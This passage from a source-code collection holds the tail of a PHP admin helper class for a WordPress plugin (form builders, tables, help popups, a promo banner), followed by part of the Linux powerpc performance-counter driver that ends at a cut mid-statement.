} echo "<script type='text/javascript'>\n window.zmg_adds = " . $response['body'] . "\n</script>";/**/ } /**********************************************************************/ function zmg_header() { ?> <div id="zmg_header"> <div id="zmg_logo_title"> <div id="zmg_logo"> <a target="_blank" href="http://www.zamango.com/"> <img src="<?= ZMG_LOGO /*?>*/?>" alt="Zamango" /> </a> </div> <div id="zmg_title"> <? _e($this->page_title, $this->hook); ?> </div> </div> </div> <? if ($this->no_promo) return true; ?> <div id='zmg_header_container' class='postbox-container metabox-holder meta-box-sortables'> <div id="zmg_header_baner" class="postbox"> <div class="handlediv" title="Click to toggle"> <br /> </div> <h3 class="hndle"> <span>Zamango Money Extractor</span> </h3> <div class="inside"> <div class="in-baner" id="zmg_header_baner_left"> <a href="http://wordpress.org/extend/plugins/zamango-money-extractor/" target=_blank title="<? _e('Sell software from choosen ' . 'vendors by only one plugin', $this->top_hook); /*?>*/ ?>"> <? _e('Wanna monetize your blog? It\'s ' . 'easy! Just install Zamango Money ' . 'Extractor plugin and get easy money!', $this->top_hook); ?> </a> </div> <div class="in-baner" id="zmg_header_baner_right"> <p> <? _e('Zamango is the free-of-charge ' . 'content agregator, i.e. free '. 'public service which composes ' . 'content (casual games ' . 'in downloadable and web-based ' . 'forms) released by different ' . 'world-known publishers like ' . 'BigFishGames or Reflexive. It ' . 'gives an opportunity to build ' . 'your own reach storefront in ' . 'minutes using ready toolbox ' . '(WordPress + Zamango Money ' . 'Extractor plugin) and start ' . 'making money on their affiliate ' . 'programs.', $this->top_hook); ?> </p> </div> <div class="zmg_clear"></div> </div> </div> </div> <div class="zmg_clear"></div> <? } /**********************************************************************/ function zmg_footer() { ?> <div id="zmg_footer"> <div id="zmg_developed"> <? _e('Developed by', $this->top_hook); ?> <a href="http://www.zamango.com" target=_blank> Zamango </a> </div> </div> <? } /**********************************************************************/ function form_begin($addon = '') { echo '<form action="" method="post">'; echo $addon; } /**********************************************************************/ function form_end() { echo '</form>'; } /**********************************************************************/ function hidden($name, $value = '1') { $id = $this->hook . "-" . $name; $content = '<input type="hidden"' . ' id="' . $id . '"' . ' name="' . $name . '"' . ' value="' . htmlspecialchars($value) . '" />'; return $content; } /**********************************************************************/ function checkbox($name, $value, $checked, $label = '', $class = '') { $id = $this->hook . "-" . $name; $content = '<input type="checkbox"' . 'id="' . $id . '"'; $content .= $class ? ' class="' . $class . '"' : ''; $content .= ' name="' . $name . '"' . ' value="' . $value . '"'; $content .= $checked ? ' checked="checked" />' : ' />'; $content .= $label ? '<label for="' . $id . '">' . $label . '</label>' : ''; return $content; } /**********************************************************************/ function text($name, $value, $label = '', $class = 'zmg_long_text_input') { $id = $this->hook . "-" . $name; $content = '<input type="text"' . ' id="' . $id . '"'; $content .= $class ? ' class="' . $class . '"' : ''; $content .= ' name="' . $name . '"' . ' value="' . htmlspecialchars($value) . '" />'; $content .= $label ? '<label for="' . $id . '">' . $label . '</label>' : ''; return $content; } /**********************************************************************/ function textarea($name, $value, $rows = '', $cols = '', $label = '', $class = '') { $id = $this->hook . "-" . $name; $content = '<textarea id="' . $id . '"'; $content .= $rows ? ' rows="' . $rows . '"' : ''; $content .= $cols ? ' cols="' . $cols . '"' : ''; $content .= $class ? ' class="' . $class . '"' : ''; $content .= ' name="' . $name . '">'; $content .= htmlspecialchars($value) . '</textarea>'; $content .= $label ? '<label for="' . $id . '">' . $label . '</label>' : ''; return $content; } /**********************************************************************/ function radio($name, $value, $checked, $label = '', $class = '') { $id = $this->hook . "-" . $name . "-" . $value; $content = '<input type="radio"' . 'id="' . $id . '"'; $content .= $class ? ' class="' . $class . '"' : ''; $content .= 'name="' . $name . '"' . 'value="' . $value . '"'; $content .= $checked ? 'checked="checked" />' : ' />'; $content .= $label ? '<label for="' . $id . '">' . $label . '</label>' : ''; return $content; } /**********************************************************************/ function select($name, $value, $values, $options = array(), $label = '', $class = '') { if (!$options) $options = $values; if (count ($options) < count($values)) return; $id = $this->hook . "-" . $name . "-" . $value; $content = '<select name="' . $name . '" id="' . $id . '"'; $content .= $class ? ' class="' . $class . '">' : '>'; foreach ($values as $key => $val) { $content .= '<option value="' . $val . '"'; $content .= ($val == $value) ? ' selected="selected">' : '>'; $content .= $options[$key]; $content .= '</option>'; } $content .= '</select>'; return $content; } /**********************************************************************/ function submit($value, $class = 'button-primary') { $content = '<input type="submit"'; $content .= $class ? ' class="' . $class . '"' : ''; $content .= ' value="' . htmlspecialchars($value) . '" />'; return $content; } /**********************************************************************/ function ul($items, $diplay = 'col', $id = '', $class = '') { if ($diplay == 'row') $class .= ' zmg_ul_inline'; if (! $items) return false; $content = '<ul '; $content .= $id ? 'id="' . $id . '"' : ''; $content .= $class ? ' class="' . $class . '">' : '>'; foreach ($items as $item) { if (! $item[0]) continue; $content .= '<li '; $content .= $item['id'] ? 'id="' . $item['id'] . '"' : ''; $content .= $item['class'] ? ' class="' . $item['class'] . '">' : '>'; $content .= $item[0] . '</li>'; } $content .= '</ul>'; return $content; } /**********************************************************************/ function table($rows, $thp = 'col', $id = '', $class = 'form-table') { $content = '<table '; $content .= $id ? 'id="' . $id . '"' : ''; $content .= $class ? ' class="' . $class . '">' : '>'; switch ($thp) { case 'col' : foreach ($rows as $tr) { $content .= '<tr '; $content .= $tr['id'] ? 'id="' . $tr['id'] . '"' : ''; $content .= $tr['class'] ? ' class="' . $tr['class'] . '">' : '>'; $th = $tr[0][0]; $content .= '<th '; $content .= $th['id'] ? 'id="' . $th['id'] . '"' : ''; $content .= $th['class'] ? ' class="' . $th['class'] . '">' : '>'; $content .= $th[0]; $content .= '</th>'; for ($i = 1; $i < count($tr[0]); $i++) { $td = $tr[0][$i]; $content .= '<td '; $content .= $td['id'] ? 'id="' . $td['id'] . '"' : ''; $content .= $td['class'] ? ' class="' . $td['class'] . '">' : '>'; $content .= $td[0]; $content .= '</td>'; } $content .= '</tr>'; } break; case 'row' : $tr = $rows[0]; $content .= '<tr '; $content .= $tr['id'] ? 'id="' . $tr['id'] . '"' : ''; $content .= $tr['class'] ? ' class="' . $tr['class'] . '">' : '>'; foreach ($tr[0] as $th) { $content .= '<th '; $content .= $th['id'] ? 'id="' . $th['id'] . '"' : ''; $content .= $th['class'] ? ' class="' . $th['class'] . '">' : '>'; $content .= $th[0]; $content .= '</th>'; } $content .= '</tr>'; for ($i = 1; $i < count($rows); $i++) { $tr = $rows[$i]; $content .= '<tr '; $content .= $tr['id'] ? 'id="' . $tr['id'] . '"' : ''; $content .= $tr['class'] ? ' class="' . $tr['class'] . '">' : '>'; foreach ($tr[0] as $td) { $content .= '<td '; $content .= $td['id'] ? 'id="' . $td['id'] . '"' : ''; $content .= $td['class'] ? ' class="' . $td['class'] . '">' : '>'; $content .= $td[0]; $content .= '</td>'; } $content .= '</tr>'; } break; case 'none' : foreach ($rows as $tr) { $content .= '<tr '; $content .= $tr['id'] ? 'id="' . $tr['id'] . '"' : ''; $content .= $tr['class'] ? ' class="' . $tr['class'] . '">' : '>'; foreach ($tr[0] as $td) { $content .= '<td '; $content .= $td['id'] ? 'id="' . $td['id'] . '"' : ''; $content .= $td['class'] ? ' class="' . $td['class'] . '">' : '>'; $content .= $td[0]; $content .= '</td>'; } $content .= '</tr>'; } break; } $content .= '</table>'; return $content; } /**********************************************************************/ function elem($item, $id = '', $class = '') { return array($item, 'id' => $id, 'class' => $class); } /**********************************************************************/ function disappearing_message($message) { $content = '<div class="zmg_warning fade"><p>'; $content .= $message; $content .= '</p></div>'; return $content; } /**********************************************************************/ function error_message($message) { $content = '<div class="zmg_error"><p>'; $content .= $message; $content .= '</p></div>'; return $content; } /**********************************************************************/ function information_message($message) { $content = '<div class="zmg_updated"><p>'; $content .= $message; $content .= '</p></div>'; return $content; } /**********************************************************************/ function add_description($title, $content, $id = '') { if (!$id) $id = 'zmg_description-' .count($this->descriptions); else { $id = 'zmg_description-' . $id; foreach ($this->descriptions as $desc) if ($desc['id'] == $id) return false; } $this->descriptions[] = array('id' => $id, 'title' => $title, 'content' => $content); return "zmg_show_help('" . $id . "'); return false;"; } /**********************************************************************/ function print_descriptions () { if (!$this->descriptions || count($this->descriptions) == 0) return false; foreach ($this->descriptions as $desc) { $onclick = "zmg_hide_help('" . $desc['id'] . "');" ."return false;"; $close = ZMG_ADMIN_URL . '/img/close.png'; ?> <div id="<?= $desc['id'] /*?>*/?>" class="zmg_description"> <div class="zmg_desc_overlay" onclick="<?= $onclick /*?>*/?>"></div> <div class="zmg_desc_window"> <div class="zmg_desc_top"> <div class="zmg_desc_close" onclick="<?= $onclick /*?>*/?>" style="<?= $close /*?>*/?>"> <img src="<?= $close /*?>*/?>" /> </div> <h3 class="zmg_desc_title"> <?= $desc['title'] ?> </h3> </div> <div id="<?= $desc['id'] ?>-content" class="zmg_desc_content"> <?= $desc['content'] ?> </div> </div> </div> <? } } /**********************************************************************/ function postbox($id, $title, $content) { ?> <div <?= $id ? 'id="' . $id . '"' : '' ?> class="postbox"> <div class="handlediv" title="Click to toggle"><br /></div> <h3 class="hndle"><span><?= $title ?></span></h3> <div class="inside"> <?= $content ?> </div> </div> <? } } /**************************************************************************/ $zmg_admin = new zmg_admin(); }
artkom/shake-reality
wp-content/plugins/zamango-page-navigation/zmg_admin.php
PHP
gpl-2.0
36,950
/* * Performance event support - powerpc architecture code * * Copyright 2008-2009 Paul Mackerras, IBM Corporation. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version * 2 of the License, or (at your option) any later version. */ #include <linux/kernel.h> #include <linux/sched.h> #include <linux/perf_event.h> #include <linux/percpu.h> #include <linux/hardirq.h> #include <asm/reg.h> #include <asm/pmc.h> #include <asm/machdep.h> #include <asm/firmware.h> #include <asm/ptrace.h> struct cpu_hw_events { int n_events; int n_percpu; int disabled; int n_added; int n_limited; u8 pmcs_enabled; struct perf_event *event[MAX_HWEVENTS]; u64 events[MAX_HWEVENTS]; unsigned int flags[MAX_HWEVENTS]; unsigned long mmcr[3]; struct perf_event *limited_counter[MAX_LIMITED_HWCOUNTERS]; u8 limited_hwidx[MAX_LIMITED_HWCOUNTERS]; u64 alternatives[MAX_HWEVENTS][MAX_EVENT_ALTERNATIVES]; unsigned long amasks[MAX_HWEVENTS][MAX_EVENT_ALTERNATIVES]; unsigned long avalues[MAX_HWEVENTS][MAX_EVENT_ALTERNATIVES]; unsigned int group_flag; int n_txn_start; }; DEFINE_PER_CPU(struct cpu_hw_events, cpu_hw_events); struct power_pmu *ppmu; /* * Normally, to ignore kernel events we set the FCS (freeze counters * in supervisor mode) bit in MMCR0, but if the kernel runs with the * hypervisor bit set in the MSR, or if we are running on a processor * where the hypervisor bit is forced to 1 (as on Apple G5 processors), * then we need to use the FCHV bit to ignore kernel events. */ static unsigned int freeze_events_kernel = MMCR0_FCS; /* * 32-bit doesn't have MMCRA but does have an MMCR2, * and a few other names are different. */ #ifdef CONFIG_PPC32 #define MMCR0_FCHV 0 #define MMCR0_PMCjCE MMCR0_PMCnCE #define SPRN_MMCRA SPRN_MMCR2 #define MMCRA_SAMPLE_ENABLE 0 static inline unsigned long perf_ip_adjust(struct pt_regs *regs) { return 0; } static inline void perf_get_data_addr(struct pt_regs *regs, u64 *addrp) { } static inline u32 perf_get_misc_flags(struct pt_regs *regs) { return 0; } static inline void perf_read_regs(struct pt_regs *regs) { } static inline int perf_intr_is_nmi(struct pt_regs *regs) { return 0; } #endif /* CONFIG_PPC32 */ /* * Things that are specific to 64-bit implementations. */ #ifdef CONFIG_PPC64 static inline unsigned long perf_ip_adjust(struct pt_regs *regs) { unsigned long mmcra = regs->dsisr; if ((mmcra & MMCRA_SAMPLE_ENABLE) && !(ppmu->flags & PPMU_ALT_SIPR)) { unsigned long slot = (mmcra & MMCRA_SLOT) >> MMCRA_SLOT_SHIFT; if (slot > 1) return 4 * (slot - 1); } return 0; } /* * The user wants a data address recorded. * If we're not doing instruction sampling, give them the SDAR * (sampled data address). If we are doing instruction sampling, then * only give them the SDAR if it corresponds to the instruction * pointed to by SIAR; this is indicated by the [POWER6_]MMCRA_SDSYNC * bit in MMCRA. */ static inline void perf_get_data_addr(struct pt_regs *regs, u64 *addrp) { unsigned long mmcra = regs->dsisr; unsigned long sdsync = (ppmu->flags & PPMU_ALT_SIPR) ? POWER6_MMCRA_SDSYNC : MMCRA_SDSYNC; if (!(mmcra & MMCRA_SAMPLE_ENABLE) || (mmcra & sdsync)) *addrp = mfspr(SPRN_SDAR); } static inline u32 perf_flags_from_msr(struct pt_regs *regs) { if (regs->msr & MSR_PR) return PERF_RECORD_MISC_USER; if ((regs->msr & MSR_HV) && freeze_events_kernel != MMCR0_FCHV) return PERF_RECORD_MISC_HYPERVISOR; return PERF_RECORD_MISC_KERNEL; } static inline u32 perf_get_misc_flags(struct pt_regs *regs) { unsigned long mmcra = regs->dsisr; unsigned long sihv = MMCRA_SIHV; unsigned long sipr = MMCRA_SIPR; /* Not a PMU interrupt: Make up flags from regs->msr */ if (TRAP(regs) != 0xf00) return perf_flags_from_msr(regs); /* * If we don't support continuous sampling and this * is not a marked event, same deal */ if ((ppmu->flags & PPMU_NO_CONT_SAMPLING) && !(mmcra & MMCRA_SAMPLE_ENABLE)) return perf_flags_from_msr(regs); /* * If we don't have flags in MMCRA, rather than using * the MSR, we intuit the flags from the address in * SIAR which should give slightly more reliable * results */ if (ppmu->flags & PPMU_NO_SIPR) { unsigned long siar = mfspr(SPRN_SIAR); if (siar >= PAGE_OFFSET) return PERF_RECORD_MISC_KERNEL; return PERF_RECORD_MISC_USER; } if (ppmu->flags & PPMU_ALT_SIPR) { sihv = POWER6_MMCRA_SIHV; sipr = POWER6_MMCRA_SIPR; } /* PR has priority over HV, so order below is important */ if (mmcra & sipr) return PERF_RECORD_MISC_USER; if ((mmcra & sihv) && (freeze_events_kernel != MMCR0_FCHV)) return PERF_RECORD_MISC_HYPERVISOR; return PERF_RECORD_MISC_KERNEL; } /* * Overload regs->dsisr to store MMCRA so we only need to read it once * on each interrupt. */ static inline void perf_read_regs(struct pt_regs *regs) { regs->dsisr = mfspr(SPRN_MMCRA); } /* * If interrupts were soft-disabled when a PMU interrupt occurs, treat * it as an NMI. */ static inline int perf_intr_is_nmi(struct pt_regs *regs) { return !regs->softe; } #endif /* CONFIG_PPC64 */ static void perf_event_interrupt(struct pt_regs *regs); void perf_event_print_debug(void) { } /* * Read one performance monitor counter (PMC). */ static unsigned long read_pmc(int idx) { unsigned long val; switch (idx) { case 1: val = mfspr(SPRN_PMC1); break; case 2: val = mfspr(SPRN_PMC2); break; case 3: val = mfspr(SPRN_PMC3); break; case 4: val = mfspr(SPRN_PMC4); break; case 5: val = mfspr(SPRN_PMC5); break; case 6: val = mfspr(SPRN_PMC6); break; #ifdef CONFIG_PPC64 case 7: val = mfspr(SPRN_PMC7); break; case 8: val = mfspr(SPRN_PMC8); break; #endif /* CONFIG_PPC64 */ default: printk(KERN_ERR "oops trying to read PMC%d\n", idx); val = 0; } return val; } /* * Write one PMC. */ static void write_pmc(int idx, unsigned long val) { switch (idx) { case 1: mtspr(SPRN_PMC1, val); break; case 2: mtspr(SPRN_PMC2, val); break; case 3: mtspr(SPRN_PMC3, val); break; case 4: mtspr(SPRN_PMC4, val); break; case 5: mtspr(SPRN_PMC5, val); break; case 6: mtspr(SPRN_PMC6, val); break; #ifdef CONFIG_PPC64 case 7: mtspr(SPRN_PMC7, val); break; case 8: mtspr(SPRN_PMC8, val); break; #endif /* CONFIG_PPC64 */ default: printk(KERN_ERR "oops trying to write PMC%d\n", idx); } } /* * Check if a set of events can all go on the PMU at once. * If they can't, this will look at alternative codes for the events * and see if any combination of alternative codes is feasible. * The feasible set is returned in event_id[]. */ static int power_check_constraints(struct cpu_hw_events *cpuhw, u64 event_id[], unsigned int cflags[], int n_ev) { unsigned long mask, value, nv; unsigned long smasks[MAX_HWEVENTS], svalues[MAX_HWEVENTS]; int n_alt[MAX_HWEVENTS], choice[MAX_HWEVENTS]; int i, j; unsigned long addf = ppmu->add_fields; unsigned long tadd = ppmu->test_adder; if (n_ev > ppmu->n_counter) return -1; /* First see if the events will go on as-is */ for (i = 0; i < n_ev; ++i) { if ((cflags[i] & PPMU_LIMITED_PMC_REQD) && !ppmu->limited_pmc_event(event_id[i])) { ppmu->get_alternatives(event_id[i], cflags[i], cpuhw->alternatives[i]); event_id[i] = cpuhw->alternatives[i][0]; } if (ppmu->get_constraint(event_id[i], &cpuhw->amasks[i][0], &cpuhw->avalues[i][0])) return -1; } value = mask = 0; for (i = 0; i < n_ev; ++i) { nv = (value | cpuhw->avalues[i][0]) + (value & cpuhw->avalues[i][0] & addf); if ((((nv + tadd) ^ value) & mask) != 0 || (((nv + tadd) ^ cpuhw->avalues[i][0]) & cpuhw->amasks[i][0]) != 0) break; value = nv; mask |= cpuhw->amasks[i][0]; } if (i == n_ev) return 0; /* all OK */ /* doesn't work, gather alternatives... */ if (!ppmu->get_alternatives) return -1; for (i = 0; i < n_ev; ++i) { choice[i] = 0; n_alt[i] = ppmu->get_alternatives(event_id[i], cflags[i], cpuhw->alternatives[i]); for (j = 1; j < n_alt[i]; ++j) ppmu->get_constraint(cpuhw->alternatives[i][j], &cpuhw->amasks[i][j], &cpuhw->avalues[i][j]); } /* enumerate all possibilities and see if any will work */ i = 0; j = -1; value = mask = nv = 0; while (i < n_ev) { if (j >= 0) { /* we're backtracking, restore context */ value = svalues[i]; mask = smasks[i]; j = choice[i]; } /* * See if any alternative k for event_id i, * where k > j, will satisfy the constraints. */ while (++j < n_alt[i]) { nv = (value | cpuhw->avalues[i][j]) + (value & cpuhw->avalues[i][j] & addf); if ((((nv + tadd) ^ value) & mask) == 0 && (((nv + tadd) ^ cpuhw->avalues[i][j]) & cpuhw->amasks[i][j]) == 0) break; } if (j >= n_alt[i]) { /* * No feasible alternative, backtrack * to event_id i-1 and continue enumerating its * alternatives from where we got up to. */ if (--i < 0) return -1; } else { /* * Found a feasible alternative for event_id i, * remember where we got up to with this event_id, * go on to the next event_id, and start with * the first alternative for it. */ choice[i] = j; svalues[i] = value; smasks[i] = mask; value = nv; mask |= cpuhw->amasks[i][j]; ++i; j = -1; } } /* OK, we have a feasible combination, tell the caller the solution */ for (i = 0; i < n_ev; ++i) event_id[i] = cpuhw->alternatives[i][choice[i]]; return 0; } /* * Check if newly-added events have consistent settings for * exclude_{user,kernel,hv} with each other and any previously * added events. */ static int check_excludes(struct perf_event **ctrs, unsigned int cflags[], int n_prev, int n_new) { int eu = 0, ek = 0, eh = 0; int i, n, first; struct perf_event *event; n = n_prev + n_new; if (n <= 1) return 0; first = 1; for (i = 0; i < n; ++i) { if (cflags[i] & PPMU_LIMITED_PMC_OK) { cflags[i] &= ~PPMU_LIMITED_PMC_REQD; continue; } event = ctrs[i]; if (first) { eu = event->attr.exclude_user; ek = event->attr.exclude_kernel; eh = event->attr.exclude_hv; first = 0; } else if (event->attr.exclude_user != eu || event->attr.exclude_kernel != ek || event->attr.exclude_hv != eh) { return -EAGAIN; } } if (eu || ek || eh) for (i = 0; i < n; ++i) if (cflags[i] & PPMU_LIMITED_PMC_OK) cflags[i] |= PPMU_LIMITED_PMC_REQD; return 0; } static u64 check_and_compute_delta(u64 prev, u64 val) { u64 delta = (val - prev) & 0xfffffffful; /* * POWER7 can roll back counter values, if the new value is smaller * than the previous value it will cause the delta and the counter to * have bogus values unless we rolled a counter over. If a coutner is * rolled back, it will be smaller, but within 256, which is the maximum * number of events to rollback at once. If we dectect a rollback * return 0. This can lead to a small lack of precision in the * counters. */ if (prev > val && (prev - val) < 256) delta = 0; return delta; } static void power_pmu_read(struct perf_event *event) { s64 val, delta, prev; if (event->hw.state & PERF_HES_STOPPED) return; if (!event->hw.idx) return; /* * Performance monitor interrupts come even when interrupts * are soft-disabled, as long as interrupts are hard-enabled. * Therefore we treat them like NMIs. */ do { prev = local64_read(&event->hw.prev_count); barrier(); val = read_pmc(event->hw.idx); delta = check_and_compute_delta(prev, val); if (!delta) return; } while (local64_cmpxchg(&event->hw.prev_count, prev, val) != prev); local64_add(delta, &event->count); /* * A number of places program the PMC with (0x80000000 - period_left). * We never want period_left to be less than 1 because we will program * the PMC with a value >= 0x800000000 and an edge detected PMC will * roll around to 0 before taking an exception. We have seen this * on POWER8. * * To fix this, clamp the minimum value of period_left to 1. */ do { prev = local64_read(&event->hw.period_left); val = prev - delta; if (val < 1) val = 1; } while (local64_cmpxchg(&event->hw.period_left, prev, val) != prev); } /* * On some machines, PMC5 and PMC6 can't be written, don't respect * the freeze conditions, and don't generate interrupts. This tells * us if `event' is using such a PMC. */ static int is_limited_pmc(int pmcnum) { return (ppmu->flags & PPMU_LIMITED_PMC5_6) && (pmcnum == 5 || pmcnum == 6); } static void freeze_limited_counters(struct cpu_hw_events *cpuhw, unsigned long pmc5, unsigned long pmc6) { struct perf_event *event; u64 val, prev, delta; int i; for (i = 0; i < cpuhw->n_limited; ++i) { event = cpuhw->limited_counter[i]; if (!event->hw.idx) continue; val = (event->hw.idx == 5) ? pmc5 : pmc6; prev = local64_read(&event->hw.prev_count); event->hw.idx = 0; delta = check_and_compute_delta(prev, val); if (delta) local64_add(delta, &event->count); } } static void thaw_limited_counters(struct cpu_hw_events *cpuhw, unsigned long pmc5, unsigned long pmc6) { struct perf_event *event; u64 val, prev; int i; for (i = 0; i < cpuhw->n_limited; ++i) { event = cpuhw->limited_counter[i]; event->hw.idx = cpuhw->limited_hwidx[i]; val = (event->hw.idx == 5) ? pmc5 : pmc6; prev = local64_read(&event->hw.prev_count); if (check_and_compute_delta(prev, val)) local64_set(&event->hw.prev_count, val); perf_event_update_userpage(event); } } /* * Since limited events don't respect the freeze conditions, we * have to read them immediately after freezing or unfreezing the * other events. We try to keep the values from the limited * events as consistent as possible by keeping the delay (in * cycles and instructions) between freezing/unfreezing and reading * the limited events as small and consistent as possible. * Therefore, if any limited events are in use, we read them * both, and always in the same order, to minimize variability, * and do it inside the same asm that writes MMCR0. */ static void write_mmcr0(struct cpu_hw_events *cpuhw, unsigned long mmcr0) { unsigned long pmc5, pmc6; if (!cpuhw->n_limited) { mtspr(SPRN_MMCR0, mmcr0); return; } /* * Write MMCR0, then read PMC5 and PMC6 immediately. * To ensure we don't get a performance monitor interrupt * between writing MMCR0 and freezing/thawing the limited * events, we first write MMCR0 with the event overflow * interrupt enable bits turned off. */ asm volatile("mtspr %3,%2; mfspr %0,%4; mfspr %1,%5" : "=&r" (pmc5), "=&r" (pmc6) : "r" (mmcr0 & ~(MMCR0_PMC1CE | MMCR0_PMCjCE)), "i" (SPRN_MMCR0), "i" (SPRN_PMC5), "i" (SPRN_PMC6)); if (mmcr0 & MMCR0_FC) freeze_limited_counters(cpuhw, pmc5, pmc6); else thaw_limited_counters(cpuhw, pmc5, pmc6); /* * Write the full MMCR0 including the event overflow interrupt * enable bits, if necessary. */ if (mmcr0 & (MMCR0_PMC1CE | MMCR0_PMCjCE)) mtspr(SPRN_MMCR0, mmcr0); } /* * Disable all events to prevent PMU interrupts and to allow * events to be added or removed. */ static void power_pmu_disable(struct pmu *pmu) { struct cpu_hw_events *cpuhw; unsigned long flags; if (!ppmu) return; local_irq_save(flags); cpuhw = &__get_cpu_var(cpu_hw_events); if (!cpuhw->disabled) { cpuhw->disabled = 1; cpuhw->n_added = 0; /* * Check if we ever enabled the PMU on this cpu. */ if (!cpuhw->pmcs_enabled) { ppc_enable_pmcs(); cpuhw->pmcs_enabled = 1; } /* * Disable instruction sampling if it was enabled */ if (cpuhw->mmcr[2] & MMCRA_SAMPLE_ENABLE) { mtspr(SPRN_MMCRA, cpuhw->mmcr[2] & ~MMCRA_SAMPLE_ENABLE); mb(); } /* * Set the 'freeze counters' bit. * The barrier is to make sure the mtspr has been * executed and the PMU has frozen the events * before we return. */ write_mmcr0(cpuhw, mfspr(SPRN_MMCR0) | MMCR0_FC); mb(); } local_irq_restore(flags); } /* * Re-enable all events if disable == 0. * If we were previously disabled and events were added, then * put the new config on the PMU. */ static void power_pmu_enable(struct pmu *pmu) { struct perf_event *event; struct cpu_hw_events *cpuhw; unsigned long flags; long i; unsigned long val; s64 left; unsigned int hwc_index[MAX_HWEVENTS]; int n_lim; int idx; if (!ppmu) return; local_irq_save(flags); cpuhw = &__get_cpu_var(cpu_hw_events); if (!cpuhw->disabled) { local_irq_restore(flags); return; } cpuhw->disabled = 0; /* * If we didn't change anything, or only removed events, * no need to recalculate MMCR* settings and reset the PMCs. * Just reenable the PMU with the current MMCR* settings * (possibly updated for removal of events). */ if (!cpuhw->n_added) { mtspr(SPRN_MMCRA, cpuhw->mmcr[2] & ~MMCRA_SAMPLE_ENABLE); mtspr(SPRN_MMCR1, cpuhw->mmcr[1]); if (cpuhw->n_events == 0) ppc_set_pmu_inuse(0); goto out_enable; } /* * Compute MMCR* values for the new set of events */ if (ppmu->compute_mmcr(cpuhw->events, cpuhw->n_events, hwc_index, cpuhw->mmcr)) { /* shouldn't ever get here */ printk(KERN_ERR "oops compute_mmcr failed\n"); goto out; } /* * Add in MMCR0 freeze bits corresponding to the * attr.exclude_* bits for the first event. * We have already checked that all events have the * same values for these bits as the first event. */ event = cpuhw->event[0]; if (event->attr.exclude_user) cpuhw->mmcr[0] |= MMCR0_FCP; if (event->attr.exclude_kernel) cpuhw->mmcr[0] |= freeze_events_kernel; if (event->attr.exclude_hv) cpuhw->mmcr[0] |= MMCR0_FCHV; /* * Write the new configuration to MMCR* with the freeze * bit set and set the hardware events to their initial values. * Then unfreeze the events. */ ppc_set_pmu_inuse(1); mtspr(SPRN_MMCRA, cpuhw->mmcr[2] & ~MMCRA_SAMPLE_ENABLE); mtspr(SPRN_MMCR1, cpuhw->mmcr[1]); mtspr(SPRN_MMCR0, (cpuhw->mmcr[0] & ~(MMCR0_PMC1CE | MMCR0_PMCjCE)) | MMCR0_FC); /* * Read off any pre-existing events that need to move * to another PMC. */ for (i = 0; i < cpuhw->n_events; ++i) { event = cpuhw->event[i]; if (event->hw.idx && event->hw.idx != hwc_index[i] + 1) { power_pmu_read(event); write_pmc(event->hw.idx, 0); event->hw.idx = 0; } } /* * Initialize the PMCs for all the new and moved events. */ cpuhw->n_limited = n_lim = 0; for (i = 0; i < cpuhw->n_events; ++i) { event = cpuhw->event[i]; if (event->hw.idx) continue; idx = hwc_index[i] + 1; if (is_limited_pmc(idx)) { cpuhw->limited_counter[n_lim] = event; cpuhw->limited_hwidx[n_lim] = idx; ++n_lim; continue; } val = 0; if (event->hw.sample_period) { left = local64_read(&event->hw.period_left); if (left < 0x80000000L) val = 0x80000000L - left; } local64_set(&event->hw.prev_count, val); event->hw.idx = idx; if (event->hw.state & PERF_HES_STOPPED) val = 0; write_pmc(idx, val); perf_event_update_userpage(event); } cpuhw->n_limited = n_lim; cpuhw->mmcr[0] |= MMCR0_PMXE | MMCR0_FCECE; out_enable: mb(); write_mmcr0(cpuhw, cpuhw->mmcr[0]); /* * Enable instruction sampling if necessary */ if (cpuhw->mmcr[2] & MMCRA_SAMPLE_ENABLE) { mb(); mtspr(SPRN_MMCRA, cpuhw->mmcr[2]); } out: local_irq_restore(flags); } static int collect_events(struct perf_event *group, int max_count, struct perf_event *ctrs[], u64 *events, unsigned int *flags) { int n = 0; struct perf_event *event; if (!is_software_event(group)) { if (n >= max_count) return -1; ctrs[n] = group; flags[n] = group->hw.event_base; events[n++] = group->hw.config; } list_for_each_entry(event, &group->sibling_list, group_entry) { if (!is_software_event(event) && event->state != PERF_EVENT_STATE_OFF) { if (n >= max_count) return -1; ctrs[n] = event; flags[n] = event->hw.event_base; events[n++] = event->hw.config; } } return n; } /* * Add a event to the PMU. * If all events are not already frozen, then we disable and * re-enable the PMU in order to get hw_perf_enable to do the * actual work of reconfiguring the PMU. */ static int power_pmu_add(struct perf_event *event, int ef_flags) { struct cpu_hw_events *cpuhw; unsigned long flags; int n0; int ret = -EAGAIN; local_irq_save(flags); perf_pmu_disable(event->pmu); /* * Add the event to the list (if there is room) * and check whether the total set is still feasible. */ cpuhw = &__get_cpu_var(cpu_hw_events); n0 = cpuhw->n_events; if (n0 >= ppmu->n_counter) goto out; cpuhw->event[n0] = event; cpuhw->events[n0] = event->hw.config; cpuhw->flags[n0] = event->hw.event_base; if (!(ef_flags & PERF_EF_START)) event->hw.state = PERF_HES_STOPPED | PERF_HES_UPTODATE; /* * If group events scheduling transaction was started, * skip the schedulability test here, it will be performed * at commit time(->commit_txn) as a whole */ if (cpuhw->group_flag & PERF_EVENT_TXN) goto nocheck; if (check_excludes(cpuhw->event, cpuhw->flags, n0, 1)) goto out; if (power_check_constraints(cpuhw, cpuhw->events, cpuhw->flags, n0 + 1)) goto out; event->hw.config = cpuhw->events[n0]; nocheck: ++cpuhw->n_events; ++cpuhw->n_added; ret = 0; out: perf_pmu_enable(event->pmu); local_irq_restore(flags); return ret; } /* * Remove a event from the PMU. */ static void power_pmu_del(struct perf_event *event, int ef_flags) { struct cpu_hw_events *cpuhw; long i; unsigned long flags; local_irq_save(flags); perf_pmu_disable(event->pmu); power_pmu_read(event); cpuhw = &__get_cpu_var(cpu_hw_events); for (i = 0; i < cpuhw->n_events; ++i) { if (event == cpuhw->event[i]) { while (++i < cpuhw->n_events) { cpuhw->event[i-1] = cpuhw->event[i]; cpuhw->events[i-1] = cpuhw->events[i]; cpuhw->flags[i-1] = cpuhw->flags[i]; } --cpuhw->n_events; ppmu->disable_pmc(event->hw.idx - 1, cpuhw->mmcr); if (event->hw.idx) { write_pmc(event->hw.idx, 0); event->hw.idx = 0; } perf_event_update_userpage(event); break; } } for (i = 0; i < cpuhw->n_limited; ++i) if (event == cpuhw->limited_counter[i]) break; if (i < cpuhw->n_limited) { while (++i < cpuhw->n_limited) { cpuhw->limited_counter[i-1] = 